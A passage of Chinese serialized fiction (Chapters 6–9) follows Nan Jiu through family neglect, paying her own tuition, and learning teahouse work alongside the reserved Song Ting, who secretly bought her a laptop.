南久没有把李崇光供出来,含含糊糊地回:“家门口人聊到的,我听了一嘴,挺可怕的。” “她妈在世时,跟着他爸也遭罪,好在他爸罪有应得。” 外头太阳落山,光线暗了下来。房间没开灯,南久坐在床沿,僵着脖子,一瞬不瞬地盯着南老爷子。 南老爷子瞧她像截木头戳在那儿,说她:“这事都不该跟你说,你知道归知道,别到外面乱嚼舌根,给你宋叔听见不好。” “我知道。”南久这点自知还是有的,“真看不出来他家出过那么大的事,我瞧他平时挺正常的,我意思是他情绪挺稳定的。” 南老爷子浑浊的眼睛缓慢地眨了下:“那怎么办,事情都发生了,他自己不担着,还指望谁能帮他。内心要是不够强大,人早就垮了。” 这件事,南久无法换位思考,她爸妈只是离婚,要真是闹到那种地步,对她来说天都塌了。 旋即,南久意识到了一件更严重的事。下午的时候,她还认为宋霆即便相亲不成,还能跟柳茵凑成一对。南老爷子却说柳茵家里人不可能同意。几个小时前,她不知道这话背后的缘由,没当回事。 现在回想,她脸色变了又变。当年那事闹得满巷风雨,柳茵家自然清楚得很,哪个人家放心把女儿嫁过来。周妍或许是宋霆唯一的选择,却被她稀里糊涂地坏了好事。宋霆以后要是讨不到老婆,她就罪孽深重了。 南久撇着眼角,声音发虚:“完了,我是不是误了他终身大事?” 南老爷子瞪她一眼:“你呀!”他站起身,叹口气往门口走,终究没有再说她。 ...... 送走周妍,宋霆像往常一样,将茶桌收拾干净,忙着茶馆里的琐事。 南久将门打开一道缝,眼珠子滴溜溜地转着。趁宋霆端着茶具路过房门口时,她打开屋门探出身子:“那个......” 宋霆停下脚步,宽厚的肩膀遮住走廊的光线。 “你跟她解释过了吗?”南久半个身子躲在门后,双眸因忐忑而晃动。 宋霆垂下头,眼神从她脸上扫过,表情瞧着稀松平常,不像是怪罪她的样子。 这反倒让南久愈发心虚:“不会没戏了吧?我跟你讲,我觉得周妍对你有好感,你没事多跟她发发信息,使劲儿夸她,女人都喜欢听好话。实在不行,你再约她一次,我跟她说清楚。” 宋霆没接话,转而问了句:“你这脸谁给你化的?” “柳茵。”南久见宋霆没生她气,打开门,走出屋子,“好看吧?” 宋霆收回目光,转过身道:“太成熟,不适合你。” “夸人一句会掉块肉?”南久冲着宋霆的背影吐槽道,眼看宋霆要拐过弯,又小声嘀咕,“怪不得讨不到老婆。” 宋霆脚步戛然而止,扭转脖子。南久立马感觉到一股飕飕的凉意,她转身进屋,紧闭房门。 宋霆和南老爷子整日忙于茶馆的经营,没时间做饭,除了早餐,其余两餐都是吴桂英来做。吴婶在茶馆打下手,每月结给她一些工钱,虽然不多,但干得舒心。她家就住巷子里,人少的时候,南老爷子就让她回家歇着,工钱照算。吴婶老伴死得早,女儿不在身边,闲来无事,乐得挣这份工钱。偶尔吴婶有事来不了,做饭的活儿就落到宋霆身上。 几天后的一个中午,南久起床晚,宋霆和南老爷子已经吃过中饭。吴婶子给南久留的饭菜,她一个人窝在小厨房里扒拉。 吴婶将宋霆叫到厨房外头,同他讲:“周妍那边来话了,她倒是相中你了,就是她家里人,觉得你这边的情况前后不一,怕有什么幺蛾子。我觉得可以这样,你备点礼,我帮你跑一趟,到时候再看看怎么圆回来。另外,她家那边提了要求,以后生的小孩跟他们姓周。不过他们家也说了,会在市区给你们备套房。” 这话没明着说,差不多是让宋霆入赘的意思了。依吴婶来看,周妍虽然年纪大,长相一般,但光是愿意出婚房这一点,宋霆就没理由拒绝。 然而这个诱惑,并没有让宋霆的表情发生变化。他语气平淡道:“算了吧,不麻烦了。” 吴婶还想再劝,外边有人叫宋霆,他谢过吴婶子的好意后,便去招呼茶客了。 晚上南久在房间看电视,宋霆和南老爷子在外头盘账。南老爷子提起周妍的事,面露难色:“我听吴桂英说了,这事都怨小久。” 南久听到爷爷提及她,拿起遥控器将电视音量调小,竖起耳朵。 “不关小久的事。”宋霆的声音模模糊糊地传了来。 “你是不是也不愿意?” “山上这两年才起步,开春后得经常过去。总不在家也耽误人家,你们还是别为我费心了。” 两人聊起山上的事后,南久又把电视调回正常音量。 ...... 暑假一眨眼接近尾声。南振东来接南久回去时,顺便带着他的好大儿小凯一道来看望爷爷。五岁的小凯成功把自己吃成了一个70斤的大胖小子。南振东和廖虹不仅不觉得自己儿子超重,反倒逢人就夸自家小子胃口好,不挑食。 小凯常年待在姥姥家,廖虹嫌帽儿巷穷乡僻壤,不愿意回来,小凯和爷爷接触得自然少。南老爷子包了个大红包塞给小凯,不顾小凯那肥胖的身躯,要把人往腿上抱。 吴桂英去女儿家了,一早上,宋霆去买的菜。南老爷子让南久去厨房,给宋霆打下手。 南久跑进厨房,耷着个脸。她一会儿拿个鸡蛋敲在台面上,一会儿用筷子拼命搅着瓷碗。宋霆让她把西红柿切一下,她那动静像是在剁猪蹄。本来挺安静的厨房,她进来后,乒乒乓乓一通忙活,恨不得把厨房炸了。 宋霆拿过她手上的菜刀:“不用你忙了,去旁边坐着。” 南久转过身走去小板凳时,还顺便踢了脚咸菜缸。 宋霆听见动静回过头来,见她气呼呼的样子,问了句:“哪个惹你了?” “爷爷。”南久昂着细脖子,控诉道,“孙子一来,你瞧他亲的。平时拄个拐杖,弄得自己腿脚不好的样子,孙子来了包治百病,这会儿腿也不疼了,抱着孙子不撒手。我还看见他给小凯拿红包了,不过年不过节的,为什么要给红包?我也是我爸生的 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宋霆一番话抚平了南久心头揪起的褶皱,闷在胸腔间的那股戾气渐渐压了下去。尽管她并不乐意见到爷爷对小凯的那副亲热劲儿,但心里头又不得不承认,爷爷疼孙子是理所当然的事。她再不痛快,也只能憋着。 在家里,这样的情形每天都会上演。廖虹是小凯亲妈,南振东顾及小凯年幼,一家人都会以小凯为中心。南久无论产生何种情绪都会被说成不懂事,为了所谓的懂事,她只能憋着,长此以往,早就憋成忍者神龟。对父母的期待也在一次次冷落中消磨殆尽,久而久之,就无所谓了。 爷爷的举动还会让她产生情绪,是因为在爷爷这里,可以得到更多的偏爱。然而这份偏爱,本来就不是南久独有的,不过是因为她和其他小辈没有同时待在爷爷身边而已。爷爷可以偏爱她,当然也可以偏爱其他孙子孙女。 南久收起委屈,转身去洗了把脸。再出来时,脸上又挂上了那副无所谓的表情,仿佛刚才的控诉者不是她。 宋霆见她跟没事人一样,把盘子递给她:“端过去,吃饭。” 南振东见过宋霆两回,都是来去匆匆打了声招呼。这回难得得空,说要跟宋霆好好喝一杯。宋霆去买了两瓶白酒回来,席间,两人推杯换盏,拉起家常。南振东大多时候都是在数落南久,说自己女儿怎么不让人省心,不好管教,主意大,不听人话。 南久似乎是麻木了,对于爸爸的数落没有表现出任何反应,只是低着头吃饭。 南老爷子瞄了南久一眼,对南振东开口道:“少说两句,这么大的姑娘了。” “有什么关系,我又没在外人面前说,小宋是自己人。”南振东几杯酒下肚,说话愈发絮叨。 宋霆面上挂着淡笑,说起了另一件事:“前阵子我进山,山下面盖了好几家民宿。有几个住在民宿里的小孩不认识水稻,在田地玩的时候踩毁了一大片。” “现在小孩哪认识水稻是什么?”南振东夹了一筷子芦笋放进嘴里。 宋霆端起酒杯,黑色瞳仁镶在深邃的眉骨之间,眸光耐人寻味:“是啊,孩子小没接触过,大人总归是知道的......” “子不教、父之过”。大人要是肯教,小孩怎么会平白毁了庄稼。只是这后半句话,宋霆没有说出口,点到即止。 南老爷子显然听出了话中的意思,挑起眼皮瞥向自家儿子。南振东不知道有没有回过味来。南久以阅读理解满分的优势,听出宋霆在帮她说话,虽然说得过于委婉了。 7.Chapter 7 小凯认床,睡不好就闹觉,吃完饭就霸占了南久的床。南久不愿带他睡,干脆自己在外头打了地铺。南振东喝醉了,躺在南老爷子的躺椅上呼声震天。南久听着烦躁,躺下后又坐了起来,摇了摇他:“爸,你能不能回房睡,爸......” 南振东抬手抓了抓肚皮,眼皮儿都没睁一下。窗户外面传来争吵声,南久推开悬窗,听见李崇光鬼喊鬼叫的声音。他家住在茶馆斜对面,抬头就能瞧见李崇光爸爸站在窗帘边上的身影。 “整天待在家不学无术,也不知道找个班上。年底之前把驾照给我考出来,跟你表哥去跑大货......” 争吵声还在持续,南久的思绪却飘了回来。柳茵工作了,李崇光游手好闲,从前在巷子里认识的小伙伴大多都已经不再读书。她深陷的迷途,不过是长久凝视深渊,忽略了自己头顶,正骄阳高悬。 宋霆洗完澡下来,扛起南振东回了房,将他安顿在床上。 出来时,宋霆轻声带上屋门。南久趴在窗台上,盯着从悬窗滑落的雨滴发呆。 “睡不着?”宋霆路过她身边,问了句。 “现在都八月份了。” “八月份怎么了?”宋霆走去倒了杯水,端起喝了口。 “你听过2012世界末日吗?” “没有。” “那是玛雅人预言的,说是今年12月21号地球会发生重大灾难。” “地球哪天没发生灾难?”宋霆放下水杯,问她,“你喝水吗?” “给我倒点。”南久转过头,接着道,“是足以毁灭人类的灾难,就像是白垩纪恐龙灭绝。听说外国那边好多人已经在做准备了,要是真的,我们岂不是只有四个月能活?” 宋霆将水杯递给她:“你少逛点乱七八糟的论坛。” “你不信?要是真的,我们就是最后一次见面了。” 宋霆嘴角轻撇:“说得好像你多想见到我一样。” “那倒不是。”南久灌下一大口水,又将水杯塞还给他,“你怕吗?” “灭的又不是我一个人,黄泉路上这么多人作伴,有什么好怕的?”宋霆见南久没有睡意,替她拿着水杯,靠在窗台边,有一搭没一搭地跟她聊着。 宋霆和南振东一人喝了一瓶白酒。南振东倒下了,宋霆依然面色如常。他站在离南久一步开外的地方,身上的酒味似有若无地飘来,并不难闻,兴许是他洗过澡的缘故,酒气掺杂着沐浴露的味道,融合成一种特殊的酒香。 “你呢?四个月能活命,回去打算干点什么惊天动地的事?”宋霆语气里藏着调侃的意味。 南久托着腮,望着窗外滴滴答答的水珠,愁容满面:“不知道,四个月太短了,毕业证都来不及拿。” “那就好好把高中读完。”这是宋霆留给她的最后一句话。 南久转过视线,盯着宋霆离开的背影,思绪也跟着他的身影不断盘旋。 那晚,她和宋霆吃夜宵时聊起早恋,她反呛宋霆“你没早恋过?”,宋霆回“没有”。她当他在小辈面前装正经,现在才反应过来,他恐怕真没机会像一般少年一样肆意生长。他的十七岁,是黏腻的触感、浑浊的视觉、腐臭的气味和狰狞的家。 宋霆的身影消失在楼梯上,南久收回视线,伸出手去接从悬窗上滴落的雨水。她的十七岁,掌心是未被沾染的雨滴,宁静安逸的街道无限延伸着,空气里弥漫着泥土的甘冽,带着万物萌发的气息。 ...... 南振东订的是第二天上午的火车票,南久前一天打地铺没睡好,早上起晚了,来不及吃早饭便跑去跟爷爷道别。 南老爷子摇着那把蒲葵扇,眼睛半眯:“明年你还有场硬仗要打,心里得有点数,靠旁人总归不如靠自己。待会你宋叔开车送你们去车站。” “知道了。”南久转过身去,没两步又折返回来,“初一那年我在路上碰见宋霆,他是出去找我的?” “你爸来电话,说你跑不见了,担心你到我这儿来。我又不确定你是不是真找来,他那时候是打算开车往酆市走,一路寻你去。” 铜壶嘴冒着烟,茶汤翻腾,热气氤氲,磨得油亮的茶桌被窗外透进的光罩着。踏出茶馆,陈年老茶甘润的气息被甩在身后。提起行李,这一回,南久没再犹豫。 宋霆将车子停在巷口,下去买了两块热腾腾的桂花糕,敲了敲南久那半边车窗,把桂花糕递给她。南久将手伸向窗户,接过桂花糕,与他的指骨不经意相触,细微却又无法忽视的触感从指尖直抵心脏。她抬起视线,目光凝在他的眉眼间。宋霆没有看她,收回手,坐到前排。 车子往车站行驶,南久和小凯坐在后排,南振东坐在副驾驶。一路上,小凯吵个不停,扭过来动过去。南久沉默不语,身体贴着车门,扭头看着南城的街景。遇上红灯,车子缓慢停了下来,宋霆透过后视镜瞥了眼后排。南久察觉到什么,目光从窗外转到车内。倒视镜里,两双眼睛毫无预兆地对上,眼神短暂地触碰、探究。绿灯亮起,他看向前方,她的视线就此错开。 快到车站,小凯吵着要拉粑粑。车子刚停下,南振东就抱着小凯去找厕所了,将行李包丢给南久。 宋霆下车打开后备箱,从里面拿出一个袋子,交到南久手中:“你爷爷给你的。” 南久接过袋子问:“什么东西?” “你上车看吧,回去要是遇到什么困难就打电话回来。” 南久身上大包小包,没手翻看,道了声别,匆匆走进站。 上了火车,找到位置放下行李。南久翻开那个袋子,里面是一个封装严实的盒子,盒子打开,一台崭新的笔记本电脑映入眼帘。 ...... 南久有了笔记本后,不再留恋网吧。曾经非玩不可的游戏,玩了一阵子,也就那样搁置了。 2012年年底,世界末日没有降临,网上又出现了新的言论,说是原来待的时空已经毁灭了,全人类不过是搬移到了新的平行时空。这怎么不算是全人类的重生呢? 南久拿掉了脐环和耳钉,不再没事跑去跟人斗舞。大多数周末,她都独自待在宿舍与题海为伴。她偶尔会想起宋霆,想起他糟糕的原生家庭和惨烈的过去。每当这时,他沉寂的眼神就会荡进她的脑海中,如亘古的寂静之地短暂地占据着她的思绪。南久不知道宋霆后来有没有遇到合适的相亲对象。有几次与爷爷通电话,南久都想问一问,话到嘴边最终没有说出口。 枯燥的日子在日复一日里仓促翻过。南久平稳发挥,考上了心仪的大学。 想当初为了争取进单位的名额,南振东和南久叔叔闹得不大愉快。如今南久叔叔朝不保夕的小生意有了起色。本以为旱涝保收的单位,效益却不断下滑,工资延迟发放后,南振东已经第三个月没拿到工资了。 录取通知书寄到了学校,南久一大早就兴奋地跑去学校,拿着大学录取通知书,面露喜色地打开家门。廖虹暴躁的嗓音从房间里传到门口:“你还好意思跟我要钱买烟?我供儿子读书还要供你那个前妻生的赔钱货。以后我儿子我养,你女儿你自己想办法。” 南久攥着录取通知书,悄无声息地将家门重新关上。她坐在楼栋里,天色由明转暗,路灯亮了,昏黄的光照进楼栋,她翻开录取通知书,里面夹着的缴费通知单掉了出来。南久弯腰捡起缴费单,重新夹进录取通知书里,下楼坐上公交车。 亲妈郭文惠住在城市的另一端,小区有假山有喷泉,物业将环境维持得不错。南久徘徊在小区门口,不时朝小区里张望。 郭文惠穿着拖鞋、手拿一个红色皮夹走出小区。南久将大学录取通知书递到妈妈手中。郭文惠看了又看,喜上眉梢:“真给妈争气,你爸知道了吗?” 南久低下头去,碾着脚底的石子:“还没说,我爸单位出了事,几个月没发工资了。” 郭文惠脸上的神色由喜转忧。 ATM机前,郭文惠将银 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大一刚入校,南久就加入了街舞社。社里的活动只要有钱拿,总能瞧见她的身影。课余时间,她挂靠了好几家舞房,做代课老师。家长选老师要看背景、看证书。南久又跟着舞社到处打比赛、积累经验。 南振东没有提过学费的事,默认学费由她妈出,他就不闻不问了。他从单位下来了,跑去私人老板那打工,想起来就给南久几百块生活费,想不起来,几个月都没个电话。渐渐地,南久也不怎么跟家里联系了。 大一暑假,她往返于各个舞房之间。隔着大半个酆市,她顶着38度的天气满城跑。暑期约课人多,舞房挤得要站不下,空调基本没什么效果,一节课下来,内衣都湿透,真正拿到她手里不过几十块代课费。饶是这样,她也不敢歇下来。学费就是一把悬在她头顶的达摩克利斯之剑,鞭打着她像个陀螺,不停旋转。 那台笔记本跟随南久从高中到大学,南久用它剪视频、做简历、查资料,唯独玩游戏的时间越来越少。 大二的时候,南久在舞房混得小有名气,慕名来预约她课的学员越来越多。星耀提出跟她签约,课时费可以有所上涨,不过她不能再跑去其他舞房代课。 星耀是酆市规模最大的机构,曾经能去星耀代课,还是趁着一个资历深的老师出国,南久才有机会排上号。能与星耀签约对南久来说,无疑是求之不得的事。 权衡利弊之下,南久签下了她人生中的第一份合同。她在星耀代课大半年,直至签约那天,才和星耀的大老板林颂耀说上话,他是个不折不扣的海归富二代。 林颂耀第一次见南久,戴着大牌墨镜翘着腿打电话。南久足足等了他十几分钟,他才挂了电话,拿起南久的简历扫了眼:“还在上学?” “大二。”南久回他。 林颂耀脸上没有多余的表情,翻出手机放在南久面前:“加我微信,后面有事线上沟通。” 南久拿出手机时,林颂耀瞧着那部老式机,脸上闪过一丝诧异。 签约过后,南久每周的上课时间固定下来。除此之外,别的老师有事请假,都是她顶上。排课老师觉得南久好说话,总找她帮忙,殊不知她是缺钱。 如此连轴转,大二暑假前,南久伤到了腰。医生说她需要休养,短期内不能再跳舞。晚上,南久躺在宿舍床上,疼得翻来覆去。她拿出手机,将自己的情况告诉林颂耀。她需要请假,同时希望能保住这份工作。 林颂耀是凌晨回的信息,信息内容简短,让南久恢复了再去。 眼看就要放假了,暑假不能去舞房,下学期的学费就没有着落。走投无路之下,南久拨通了爷爷的电话,问南老爷子借钱。 南久随爸爸离开帽儿巷后,一走几年没回去看他,电话一来就要借钱,南老爷子冷哼出声,问她要钱干吗?南久说她最近闪了腰,没法去舞房打工,需要钱交学费。 南老爷子让她回茶馆替他干活,干得好他出钱替她交学费,就当发工资,不用她还。 南久一听还有这等好事,当即定了火车票。 8.Chapter 8 再见到宋霆是在站前广场,他依然没怎么变。黑色短袖开衫配上一条米色休闲裤,气质冷峻,跟那年送她走时的模样差不多。 南久每一次回来却都像换了个人。白色背心贴在身上,腰间扎了件红色格子衫,牛仔短裤露出纤直的长腿。走出火车站时,一头白金色的长发迎着骄阳随风而起,连头发丝都耀着金光。 宋霆在人群中一眼瞧见了她,接过她手中的行李箱,打了声招呼:“坐这么长时间腰疼吗?” “我爷爷跟你说了?” “嗯,先上车。” 南久的目光移向宋霆身后的SUV,绕到车子后面瞅了瞅,调侃道:“宋叔,你这是发财了?” 宋霆将行李放进后备箱,目光从她脸上拂过。这还是她第一次正儿八经喊他。 上了车,宋霆拿了个软垫靠在南久腰后。 南久从学长那里接手了学校的街舞社,虽然提前回了帽儿巷,社里的大小事情还得她安排对接。宋霆本想问问她的腰伤,南久一直低着头,信息发了一路。 车子平稳行驶,偶尔,南久掀开眼睫,透过前挡玻璃的反射悄然瞄向宋霆。他头发比从前短了些,褪去几分锋芒,显得更加深沉难测。 车子转弯时,他手臂的线条隐约绷紧,动作流畅而稳定。红灯亮起,他停下车子。南久收回视线,继续发信息。 车子停在茶馆门口,南久跑下车、冲进茶馆喊爷爷。那一头飘逸的浅发在南老爷子眼中仿若金毛狮王。他皱眉拽起一簇头发,数落她:“年纪轻轻弄得满头白头发,像个什么样子?” “这叫漂染,你不懂。” 南久见茶桌上摆着切好的西瓜,抽开椅子拿过西瓜啃了起来。宋霆将她的行李提下车,送进屋里。 “我在电话里都没说你,要钱的时候想到我了,平时就打几个电话,放假也不知道回来看看我。” “我也想回来,没办法,回不来。” 南老爷子拿了个空碗给她,她把西瓜籽吐进碗里。 南老爷子听她这话,猜到什么,问她:“你爸没给你学费?” “他从单位下来了。”南久的声音闷在胸腔里,西瓜籽吐得飞快。 “这个混账东西,几十岁人了都活不明白。”南老爷子哀其不幸、怒其不争。 “你不是让我遇到困难找你吗,要不然我还不找你借钱呢!” 南老爷子斜眼看她:“我什么时候说过这话?” “就上次你让宋霆带的话。” 南老爷子被她越说越糊涂:“哪次?” “不就你给我买电脑那次嘛!”南久扔掉西瓜皮,盯着南老爷子,等着他想起来。 南老爷子眼神狐疑:“电脑?” 宋霆放下行李箱,从屋里走出来。南老爷子的眼神挪移到他身上,稍作停留后,收回视线没再言语,拿起杯子抿了口茶。 南久的眼珠子转了半圈,将宋霆的身影框进余光中。 南久回房后,见到床上用品换了,不是从前脸上总睡出印子的竹席。换成了柔软的浅蓝色冰丝凉席,墙面重新粉刷过,地上也铺了木制地板,单独装了台空调。靠墙的地方还多了个双开门带抽屉的衣柜。南久拉开衣柜抽屉,手指摸了下,衣柜里里外外摸着一尘不染。 南久将行李箱中的衣服拿了出来,一件件挂进衣柜中。 洗澡对南久来说是件享受的事,大脑放空,站在花洒下,任由温水打湿皮肤,钻进毛孔,全身心都放松下来,特别是经过长途跋涉后。 宋霆想着南久洗澡磨蹭,一晚上没下楼,直至半夜,才从阁楼走到二楼来冲澡。打开浴室的门,洗手台边掉落的头发收拾过,潮湿的地面也被拖干。 一楼墙上的老式挂钟滴答地走着,夜已深,南老爷子房间早熄了灯。白日喧嚣的茶馆夜里落针可闻。 宋霆洗好澡,打开浴室门。昏暗的走廊里,纤瘦的身影靠在楼梯扶手上,低头看手机。手机屏幕上那抹冷调的光晕轻轻覆在她脸上,像层温柔的纱,又略带疏离的清冷感。 南久听见开门声,关了手机抬起头,细而长的眸子藏在发丝中,眼底似有微小的金砂在流动。 浴室闷热,两步路就跨上阁楼,宋霆没套上衣,穿着宽松的短裤从浴室走出来。明暗交错的光影掠过他深色的皮肤,腹肌下方那道蜿蜒的人鱼线隐入裤腰。发梢的水珠沿着肩膀滚落,最终悬在凸起的胸肌上。 南久凝视着,目光大胆地游走在他裸露的肌理之间——那是一种近乎侵略性的雄性气息,浓烈、成熟,跟她在学校里接触的男生截然不同。也和白日里那个沉稳寡淡的宋霆判若两人。 宋霆被她看得稍稍侧了下身子,伸手从浴室里拽了条毛巾搭在肩上,问她:“还没睡?找我有事?” 南久直起身,走入光影里,脸上的稚嫩早已褪去,慵懒的眼神和她身上淡淡的疏离感融在一起。 “那台电脑是你出钱给我买的?”她直截了当问出口。 宋霆敛了眼皮,没否认。 “还骗我说是我爷爷给我买的,我一直以为是老头子没给我红包,良心发现呢!” 宋霆抬起目光:“不那样说,你收了也有心理负担。” “我谢谢你了,把我想得那么有良心。”南久唇角微翘,“还跟我说,我爷爷让我有困难找他,我是真信了你的话,走的时候还小感动了一把。” “这话我没讲是你爷爷说的。” 南久脖颈微倾,一头金发流淌至一侧肩头,冷白剔透的肤色像镀了层光。 她仔细回忆了一下,当年在车站分别,宋霆将电脑递给她,告诉她是她爷爷给她的,而后又匆匆说了句“回去要是遇到什么困难就打电话回来”。这句话他当时的确没说是爷爷交代的,只是隔得时间太长,又是在给完她电脑后说的,南久便把这句话跟爷爷的好意串联在一起。这么多年,处境再难也没自乱阵脚过,总觉得爷爷这,还有她最后的退路。 如今退路变成了当年宋霆的一句客气话,如此想来,倒成了一场笑话。 南久眼里挂上一抹嘲弄:“你都看不惯我去网吧,为什么要给我买电脑?” 宋霆沉缓的声音落在走廊:“我买给你,总好过你回去后想办法动歪点子。” 南久脸上依然挂着若有若无的笑,眼里的光却渐渐凝结。她听出来了,宋霆是不愿瞧着她学坏,为了台电脑做出什么出格的事情。 南久眼里的金砂被搅动成难以察觉的漩涡,又逐渐消逝。她打了个哈欠,转身下楼,声音轻飘飘地留在拐弯处:“谢谢了。” 宋霆将这三个字听进耳中,他回过身时,裙摆消失在楼梯拐角。 这是南久第一次对他说谢谢。 ...... 南久每一次回帽儿巷,南老爷子都希望她能静下心来学泡茶,将性子打磨得沉稳些。 前几次都没成功,她只要往茶桌前一坐,屁股下面就像有刺扎她,坐不了一会儿功夫就动来动去,安生不了。 这次回来,兴许是带着腰伤,没法子乱跑,倒是终于能耐得住性子,跟南老爷子在茶桌前待了一上午。 茶馆泡茶是门融合的技艺。水温、器具、投茶比例、冲泡手法根据每种茶的不同各有讲究。南久听老爷子絮叨了一上午,比坐在教室听《国民经济核算概论》还令人头大。 南老爷子见她耷拉着眼皮子,禁不住说她:“嫌枯燥了?这才哪到哪儿?我还没跟你说待客之礼。你多瞧瞧你宋叔干活儿,别整天眼睛盯在手机上。” 南久打趣道:“那我要是学会了,你把茶馆给我继承吗?” 南老爷子睖起眼:“做梦想屁吃,你爸还在呢!” 南老爷子懒得跟她费口舌,说了一上午有些乏了, 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下午,茶客来此摆龙门阵,嘈杂的环境中宋霆游刃有余。茶馆同时来好几桌客人,七嘴八舌都在叫他。宋霆不急不忙,他有自己的节奏。先上哪桌再招呼哪桌,他心里门儿清,回过头来顺手就给先上的那桌添上热水。南久的视线落在他骨节匀称的手指上,食指和中指夹住茶盖,壶嘴悬空对准杯中。南久瞧出来这叫“高冲”,在较高的位置将水流冲下来,茶沫上扬,色汤均匀,收了壶,杯边滴水不漏。这是岩茶的冲泡手法,南老爷子上午才跟她说过。 宋霆察觉到南久的视线,忙碌中偶尔回视一眼。目光短促相碰,他不作停留,又继续忙碌。 南久也没全然闲着,一些来喝茶的老人家会留下现金。时代在进步,这些老人仍然守着旧习惯,一辈子蹉跎在这帽儿巷。 稍晚些,客人少了,宋霆也闲了下来。他走到一张茶桌前,招呼南久:“你来。” 南久从柜台里面挪到他面前,他让她坐。南久抽开椅子坐在宋霆对面。白天只要待在茶馆,宋霆大多会穿浅色有肌理感的衣裳,垂坠的质感、清爽的料子穿在他身上给人一种稳重可靠的感觉。 他拿了只干净的盖碗,温盏、投茶、摇香、醒茶、冲泡。全程他一句多余的话没有,安静地泡着茶。他不说话,南久只有坐着干看。出汤后,宋霆分好茶递给南久。南久靠在椅背上伸出右手接茶。宋霆缓缓抬起眼皮,眼眸浸了墨,黑沉却灼人,手中的公道杯没有丝毫松动。 南久不解地问:“这不是给我的?” “是给你的,看你能不能接到手了。” 旁边坐着的俩老头儿是茶馆的常客,见此情形,不禁笑了。 南久眼神扫过去,其中一个老头朝她扬了扬手。南久当即心领神会,伸出两只手去接。宋霆依然没有松手,手腕悬于茶桌之上。 南久又直了直腰板,干脆站起身来接,忙活半天都没喝上这口茶。她虽不大爱喝茶,不过坐在这儿半晌,守着宋霆一道道工序泡出茶香,可不就想尝尝味道。偏偏宋霆冷眼瞧着她忙活儿,就是不把茶给她,最后索性手腕一转,将茶倒了。 南久顿时急眼了:“你耍猴呢?倒了干吗?” “茶得在适合的温度喝,冷了,口感就回不去了。” 宋霆泡完这杯就起身了。南久本想趁他不注意,将盖碗里的茶拿来尝一口。谁料宋霆压根没给她机会,顺手就拿走了盖碗。 宋霆去里面收拾茶碗。南久一个人躲在柜台里面生闷气。她拿出手机搜索如何接茶,不搜不知道,一搜下来发觉接个茶讲究颇多。长辈给晚辈茶该怎么行礼,晚辈给长辈茶又该注意什么,平辈与平辈之间如何表示尊重。她根据搜索下来的内容,复盘自己刚才的行为,一看就看到了日头落山。 晚上吃饭,南老爷子问她下午都学到了什么?南久端着碗,拿眼斜着坐在对面的宋霆,阴阳怪气道:“学会了别人泡的茶别轻易接,否则容易竹篮打水一场空。” 宋霆眼里噙着笑,不说话。南老爷子斥她:“净知道扯些歪理邪说。” 9.Chapter 9 见南久吃得差不多,南老爷子发话,让她把今天收的账算一下。宋霆那出了多少壶茶是一清二楚的,南久收的钱跟出的茶能对上数,这账就没问题。 手机上的到账一目了然,剩余的就是那些现钱。南久窝在柜台里,将今天收的零钱全拿出来数。 南老爷子靠坐在椅子上,目光瞅着宋霆,低声道:“小久的电脑买了多少钱?我把钱给你。” “不用,都是过去的事了。”宋霆头没抬,将残羹剩饭倒在一起。 “她亲叔叔要有你这个气量,当年不会为了几千块钱跟老大置气。” 南老爷子很少提及几个子女。当年南久亲叔叔遇到急事,去南振东家借钱,不仅没借到,还碰了一鼻子灰。自打那之后,兄弟俩就有了嫌隙。虽然都安家在酆都,却很少来往。就连南振东再婚,南久亲叔叔都没到场。 南老爷子当年为了调解兄弟俩的矛盾,给了小儿子一笔钱,帮他度过难关。这事被南振东和南久姑姑知道后,对老爷子怨声载道。 子女不合多半是老人无德,这话无形中成了南老爷子的心头刺。他年轻时和爱人一起打理茶馆,忙得抹不开身,三个儿女都是放养。等他想要好好管教,儿女都长成型,陆续离开帽儿巷。 值得欣慰的是和宋霆这场缘分,虽不是亲生的,他到底也是南老爷子看着长大的。如今朝夕相伴,倒也让南老爷子的晚年不至于太凄凉。 ...... 南久将钱数了两遍都和宋霆报的数对不上。她疑乎地问宋霆:“你是不是算重了?多算了一壶福鼎老寿眉和茶食拼盘?” 南老爷子接过话来:“打从你宋叔接了这个活儿,就没错过账。你自己好好想想哪里出了问题。” 宋霆和南老爷子俩人心照不宣地拿眼瞧着南久。 南久蹙起眉,左扒拉右翻找,忽又抬起头:“我知道了,下午三点左右,有个大爷没给钱,那人戴着黑帽子,下巴有颗痣,出门往左拐了,没出巷子,肯定就住巷子里,我明天去找他。” 南老爷子和宋霆对视一眼,两人眼里均有讶色。南久口中的大爷是钱秃子,家住坡子后,是茶馆的常客。钱秃子记性不好,时常忘了给钱,宋霆也从不问他要。 他们常年待在茶馆,钱少了自然清楚问题在哪。南久第一天过来,又逢周末,下午八张茶桌全部坐满,人都换了好几轮。 茶馆的茶单上分门别类各种茶品,每种茶价格不一。南久在如此混乱的环境中,能记起谁没给钱,样貌去向这些细枝末节,还能将缺的钱跟茶的品类迅速对上号,说明一点,她虽对茶不感兴趣,对钱财有种天然的灵敏度,在经营管账方面倒是无师自通。 南老爷子嘴上不说,瞧南久的眼神和煦不少:“查清楚就行,那钱就不要了,你把账记下来。” “怎么就不要了?”南久听见老爷子这么说,当即回道,“敞开门做生意,都是明码标价的,今天你赖账,明天他逃单,还赚什么钱?” “你不想想,那么个大活人从店里出去,你宋叔怎么不拦着?” 南久将视线转向宋霆:“他是你亲戚?” “他儿子在老街管招商。”宋霆告诉她。 南久没听明白招商跟他们有什么关系,南老爷子接过话茬:“收钱是门学问,有的钱要收,有的钱不如不收。几个人来喝茶,什么时候收,跟谁要,这门学问要是掌握了,你也就学会做人了。” “我人做得挺好。”南久将零钱收起来。 南老爷子见她不以为意,对她道:“洗碗去。” “给我歇个五分钟,腰疼。”南久挪到旁边的躺椅上,撑着腰慢慢躺下。 她没有胡说八道,这会儿是真的腰疼,只是表情稍微有点夸张的成分在。 宋霆起身将碗盘拾掇到一起。南老爷子抬了下手:“放着,等她收,工钱不是白拿的。” 宋霆手上没停:“腰养好了再说。” 他一走,南久便侧过身,将下午宋霆不给她茶喝的事告诉南老爷子。 “我在网上查过了,我接的没问题,方方面面都挺到位的,我还站起来了,就差给他九十度鞠躬了。” 南老爷子找来一个公道杯:“我看看你怎么接的。” 南久规规矩矩坐直身板,双手去接,手刚碰到杯子立马被南老爷子打了手。 “指甲不能碰到杯沿,你怎么不把手指头扣进去?” 南久缩回手撇下眼角:“我这美甲做的就是长款的,又不是故意碰到杯沿,居然是因为这个?” 